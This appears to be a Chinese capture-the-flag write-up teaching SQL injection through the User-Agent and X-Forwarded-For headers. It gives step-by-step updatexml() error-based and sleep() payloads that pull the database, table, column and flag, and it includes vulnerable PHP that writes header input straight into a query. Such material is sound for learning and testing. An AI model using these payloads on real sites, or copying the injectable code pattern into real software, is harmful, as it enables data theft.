HEAD注入-(掌控安全)

目录

一.原理

二.相关知识点

二.实例分析


一.原理

        在我们传参时,后端为了验证或者获取客户端的一些信息,将这些信息存入到数据库但没有进行相关的处理,所以存在了注入。

二.相关知识点

  • $_ SERVER  【包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组】
  • User-Agent其实就是你的浏览器信息。是一种向访问网站提供你所使用的浏览器类型及版本、操作系统及版本、浏览器内核、等信息的标识。通过这个标 识,用户所访问的网站可以显示不同的排版从而为用户提供更好的体验或者进行信息统计。
  • 没有回显的是盲注,可以尝试用updatexml()函数进行报错显示。
  • updatexml(目标xml内容,xml文档路径,更新的内容)    让路径报错显示出来,这样在“路径”位置上可以构造sql语句查询想要的信息(报错注入法)。
  • 例如updatexml(1,concat(0x7e,(select database()),0x7e),1),concat就是拼接符,0x7e是特殊字符~,不符合输入规则所以会报错,但报错的时候已经执行了子查询代码。
  • X-Forwarded-For 是一个 HTTP 扩展头部,主要是为了让 Web 服务器获取访问用户的真实 IP 地址.

二.实例分析

切记:该操作都是在靶场中进行的,未经授权不可随意用真实网站进行相关操作

  • 题型一

题目如下

HEAD注入-(掌控安全)_第1张图片

除了本关考点告诉我们是head注入,还可以从源码的全局变量猜测出是head注入

HEAD注入-(掌控安全)_第2张图片

首先可以用burpsuite进行爆破得到账号密码是admin/123456。

其次从上图②处的sql语句中单引号闭合的$uagent结合①处可以得出,注入点是USER_AGENT。分析之后就可以打开burpsuite开始抓包,如下图,发送至repeater。

HEAD注入-(掌控安全)_第3张图片

'or sleep(5),1) 

发现存在延时注入,从而进一步确认USER_AGENT是注入点。

HEAD注入-(掌控安全)_第4张图片

'or updatexml(1,concat(0x7e,(select database()),0x7e),1),1)#

利用updatexml函数报错,显示出库名是head_errorHEAD注入-(掌控安全)_第5张图片

'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1),1)#

接着查询表名,发现有个表名是flag_head(代码最后的,1是从图二的②处有两个单引号括起来的变量,所以后面需再跟一个,1)HEAD注入-(掌控安全)_第6张图片

'or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag_head' limit 1,1),0x7e),1),1)#

然后查询字段名,发现有flag_h1

HEAD注入-(掌控安全)_第7张图片

'or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 0,1),0x7e),1),1)#

查询flag_h1里的内容 HEAD注入-(掌控安全)_第8张图片

得到flag 结束~ 

  • 题型二

题目的核心代码如下

function getip()
{
	if (getenv('HTTP_CLIENT_IP'))
	{
		$ip = getenv('HTTP_CLIENT_IP'); 
	}
	elseif (getenv('HTTP_X_FORWARDED_FOR')) 
	{ 
		$ip = getenv('HTTP_X_FORWARDED_FOR');
	}
	elseif (getenv('HTTP_X_FORWARDED')) 
	{ 
		$ip = getenv('HTTP_X_FORWARDED');
	}
	elseif (getenv('HTTP_FORWARDED_FOR'))
	{
		$ip = getenv('HTTP_FORWARDED_FOR'); 
	}
	elseif (getenv('HTTP_FORWARDED'))
	{
		$ip = getenv('HTTP_FORWARDED');
	}
	else
	{ 
		$ip = $_SERVER['REMOTE_ADDR'];
	}
	return $ip;
}
$username = $_POST['username'];
$password = $_POST['password'];
$ip = getip();
$jc = $username.$password;
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
if(preg_match('/.*\'.*/',$jc)!== 0){die('为了网站安全性,禁止输入某些特定符号');}
mysqli_select_db($conn,'****');//不想告诉你库名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];
if($row){
$Insql = "INSERT INTO ip (`ip`,`username`) VALUES ('$ip','$uname')";
$result1 = mysqli_query($conn,$Insql);
print_r(mysqli_error($conn));
echo '成功登录';

最上面的几个函数是获取ip的函数,然后通过'$ip'去确认注入点,但是抓包发现没有X-Forwarded-For请求头。

HEAD注入-(掌控安全)_第9张图片

 所以在数据包中添加X-Forwarded-For请求头,并且按照题型一的解题步骤依次进行即可得出flag

HEAD注入-(掌控安全)_第10张图片

 

你可能感兴趣的:(sql,数据库,网络安全)